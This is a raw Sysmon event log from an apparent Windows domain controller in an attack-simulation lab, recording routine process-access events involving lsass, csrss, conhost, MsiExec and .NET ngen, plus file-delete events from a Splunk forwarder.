14:43:44.304{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8707-00000000F001}6988c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.288{7BD73061-6F20-613B-8807-00000000F001}67364988C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8707-00000000F001}6988c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.272{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8807-00000000F001}6736C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.272{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8707-00000000F001}6988c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.272{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8707-00000000F001}6988c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.272{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8507-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.272{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8507-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.241{7BD73061-6F20-613B-8607-00000000F001}57206928C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8507-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.241{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8607-00000000F001}5720C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.225{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8507-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.225{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8507-00000000F001}1304c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.225{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8307-00000000F001}7092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.225{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8307-00000000F001}7092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.210{7BD73061-6F20-613B-8407-00000000F001}15766652C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8307-00000000F001}7092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8407-00000000F001}1576C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8307-00000000F001}7092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8307-00000000F001}7092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000038921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11DF7A06DC8B06AF2AEB54A9E166842E,SHA256=775AEC012178DFF8FF434A505D525B1B2998342F7378358C1406F6D68A275293,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8107-00000000F001}3152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.194{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8107-00000000F001}3152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.163{7BD73061-6F20-613B-8207-00000000F001}59046252C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8107-00000000F001}3152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.163{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8207-00000000F001}5904C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.163{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8107-00000000F001}3152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.147{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8107-00000000F001}3152c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.147{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7F07-00000000F001}5324c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.147{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7F07-00000000F001}5324c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.132{7BD73061-6F20-613B-8007-00000000F001}48083340C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-7F07-00000000F001}5324c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.132{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=09A515905A94051E82296375AA731C17,SHA256=DFE45EABCFF196570F75C3ACB620B481B9B8AEB3FABE7F4A4A4E932274F029D8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.116{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8007-00000000F001}4808C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.116{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-7F07-00000000F001}5324c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.116{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-7F07-00000000F001}5324c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.100{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-7D07-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 